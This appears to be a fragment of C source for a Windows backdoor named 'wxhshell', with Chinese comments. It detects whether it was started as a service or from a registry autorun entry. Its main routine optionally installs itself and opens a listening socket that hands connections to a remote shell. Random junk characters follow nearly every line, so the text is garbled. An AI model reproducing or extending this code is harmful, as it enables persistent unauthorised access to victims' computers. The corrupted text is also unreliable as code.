ULONG InheritedFromUniqueProcessId; RIV
+ _}R
} PROCESS_BASIC_INFORMATION; 8lZB3p]X
Zog&:]P'F
PROCNTQSIP NtQueryInformationProcess; :ND e<6?u
3D^!U}E
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J<h!H
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +JlPQ~5
W<tw],M-#
HANDLE hProcess; ;w(tXcXZ
PROCESS_BASIC_INFORMATION pbi; /+JHnedK
a,`f`;\7N%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W:S?_JM
if(NULL == hInst ) return 0; zkb[u"
'MK"*W8QRM
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?&_u$Nn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sp8P[W1a
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rF\L}& Sw
S!6 ? b5
if (!NtQueryInformationProcess) return 0; 9?38/2kX4
:c}"a(|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u6MHdCJ0y
if(!hProcess) return 0; O]VHX![Y$
.u3Z*+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; peD7X:K\s
^SvGSxi
CloseHandle(hProcess); /Dj-@7.C/
-J]j=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G;he:Bf
if(hProcess==NULL) return 0; _2~+%{/m,
5lrjM^E|
HMODULE hMod; H63?Erh>a
char procName[255]; 5[0W+W
unsigned long cbNeeded; ,?oC+9w
./i5VBP5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h\lyt(.s
:D:Y-cG*n<
CloseHandle(hProcess); F XG,DJ:
@Pb%dS
if(strstr(procName,"services")) return 1; // 以服务启动 `;HZO8
{'NXJ!I;t
return 0; // 注册表启动 ln*jak RrC
} \IX|{]*D
v7b+
// 主模块 ##5e:<c&[
int StartWxhshell(LPSTR lpCmdLine) G}LOQ7
{ _ZHDr[
SOCKET wsl; GAU7w"sE
BOOL val=TRUE; c@|f'V4
int port=0; )zAATBb4.
struct sockaddr_in door; &hu3A)%
awU&{<,=g
if(wscfg.ws_autoins) Install(); <TEDqQ
9][A1+"
port=atoi(lpCmdLine); d
A>6
#7Jvk_r9Y
if(port<=0) port=wscfg.ws_port; DDBf89$\
%G/(7l[W
WSADATA data; 8;y\Ln?B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4L<;z'
}ki6(_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Oh;V%G
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TR'<D9kn
door.sin_family = AF_INET; 5gKXe4}\/|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =z*SzG
door.sin_port = htons(port); N~vK8j@
PM^Xh*~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uFnq 3m^u
closesocket(wsl); 63HtZ=hO7
return 1; ]FEsN6
} [vn"r^P
WXFCe@
if(listen(wsl,2) == INVALID_SOCKET) { (Qd@Q,@(s
closesocket(wsl); 4Ul*`/d
return 1; ~tZy-1
} hh8U/dVk*
Wxhshell(wsl); Q5 =
WSACleanup(); [PH56f
"sJ@_lp
return 0; }e-D&